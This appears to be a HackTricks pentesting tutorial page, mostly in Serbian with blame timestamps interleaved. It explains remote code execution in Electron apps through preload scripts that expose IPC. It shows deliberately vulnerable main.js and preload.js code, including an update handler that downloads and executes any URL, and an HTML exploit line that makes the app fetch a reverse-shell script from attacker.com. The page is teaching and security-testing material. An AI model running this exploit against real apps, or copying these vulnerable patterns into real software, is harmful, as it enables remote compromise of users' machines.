hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md

122 lines
5.5 KiB
Markdown
Raw Permalink Normal View History

# Electron contextIsolation RCE via IPC
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
Ako preload skripta izlaže IPC krajnju tačku iz main.js datoteke, proces renderera će moći da joj pristupi i ako je ranjiv, RCE bi mogao biti moguć.
**Većina ovih primera je uzeta odavde** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Pogledajte video za dodatne informacije.
## Primer 0
2022-04-28 16:01:33 +00:00
Primer sa [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (imate ceo primer kako je MS Teams zloupotrebljavao XSS do RCE u tim slajdovima, ovo je samo vrlo osnovni primer):
2022-04-28 13:04:05 +00:00
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-04-28 13:04:05 +00:00
## Primer 1
2022-04-28 13:04:05 +00:00
Pogledajte kako `main.js` sluša na `getUpdate` i **preuzima i izvršava bilo koju URL** koja se prosledi.\
Pogledajte takođe kako `preload.js` **izlaže bilo koji IPC** događaj iz main.
2022-04-28 13:04:05 +00:00
```javascript
// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
2024-02-10 13:11:20 +00:00
console.log('getUpdate: ' + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
2022-04-28 13:04:05 +00:00
});
2024-02-10 13:11:20 +00:00
2022-04-28 13:04:05 +00:00
mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
2024-02-10 13:11:20 +00:00
console.log('downloads path=' + app.getPath('downloads'))
console.log('mainWindow.download_url=' + mainWindow.download_url);
url_parts = mainWindow.download_url.split('/')
filename = url_parts[url_parts.length-1]
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
console.log('downloadPath=' + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)
item.on('updated', (event, state) => {
if (state === 'interrupted') {
console.log('Download is interrupted but can be resumed')
}
else if (state === 'progressing') {
if (item.isPaused()) console.log('Download is paused')
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})
item.once('done', (event, state) => {
if (state === 'completed') {
console.log('Download successful, running update')
fs.chmodSync(mainWindow.downloadPath, 0755);
var child = require('child_process').execFile;
child(mainWindow.downloadPath, function(err, data) {
if (err) { console.error(err); return; }
console.log(data.toString());
});
}
else console.log(`Download failed: ${state}`)
})
})
2022-04-28 13:04:05 +00:00
```
```javascript
// Part of code of preload.js
window.electronSend = (event, data) => {
2024-02-10 13:11:20 +00:00
ipcRenderer.send(event, data);
2022-04-28 13:04:05 +00:00
};
```
Eksploatacija:
2022-04-28 13:04:05 +00:00
```html
<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>
```
## Primer 2
2022-04-28 13:04:05 +00:00
Ako preload skripta direktno izlaže renderer-u način da pozove `shell.openExternal`, moguće je dobiti RCE
2022-04-28 13:04:05 +00:00
```javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
2024-02-10 13:11:20 +00:00
shell.openExternal(url);
2022-04-28 13:04:05 +00:00
};
```
## Example 3
2022-04-28 13:04:05 +00:00
Ako skripta za učitavanje omogućava potpunu komunikaciju sa glavnim procesom, XSS će moći da pošalje bilo koji događaj. Uticaj ovoga zavisi od onoga što glavni proces izlaže u smislu IPC.
2022-04-28 13:04:05 +00:00
```javascript
window.electronListen = (event, cb) => {
2024-02-10 13:11:20 +00:00
ipcRenderer.on(event, cb);
2022-04-28 13:04:05 +00:00
};
window.electronSend = (event, data) => {
2024-02-10 13:11:20 +00:00
ipcRenderer.send(event, data);
2022-04-28 13:04:05 +00:00
};
```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Obuka AWS Red Team Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Obuka GCP Red Team Ekspert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Podržite HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}